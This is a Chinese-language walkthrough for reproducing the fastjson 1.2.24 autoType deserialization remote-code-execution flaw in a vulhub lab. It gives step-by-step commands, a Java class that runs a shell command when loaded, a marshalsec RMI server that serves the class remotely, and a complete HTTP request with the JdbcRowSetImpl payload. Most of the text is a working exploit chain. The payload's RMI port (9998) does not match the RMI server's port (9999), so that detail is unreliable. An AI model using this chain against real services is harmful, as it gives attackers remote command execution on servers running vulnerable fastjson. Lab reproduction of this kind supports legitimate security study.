漏洞介绍
fastJson 是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本
fastjson <= 1.2.24
漏洞复现
1.配置jdk
先java -version
查看Java版本,如果不是这个版本可以百度下载并切换其它版本
2.安装docker
输入apt-get install docker
apt-get install docker-compose
然后重启虚拟机
启动dockerservice docker start
3.vulhub,按以下顺序敲命令
git clone https://github.com/vulhub/vulhub.git
cd vulhub
cd fastjson
cd 1.2.24-rce
docker-compose up -d
到这里就搭建环境成功了,本机访问 服务器ip:8090,显示以下界面即为搭建成功
3.安装maven
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
这里具体安装配置建议看 kali linux安装maven
4.新建一个文件,重命名为TouchFile.java,把下面代码放入文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
在当前目录下进入终端,使用javac TouchFile.java
会生成一个.class文件
5.用python搭建一个http服务
python -m http.server 9998
6.使用marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
按下面顺序敲命令就行
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package –DskipTests
(这个命令,如果安装错误首先要考虑网速的原因,失败了很多次,才发现是网络的原因)
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://服务器ip:python监听端口/#TouchFile" 9999
(上面两行是一条命令)
7.抓包,把数据包改成POST提交类型
POST / HTTP/1.1
Host: 192.168.174.128:8090(这里记得要修改)
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://服务器ip:9998/TouchFile",
"autoCommit":true
}
}
进docker看一下tmp目录,success文件创建成功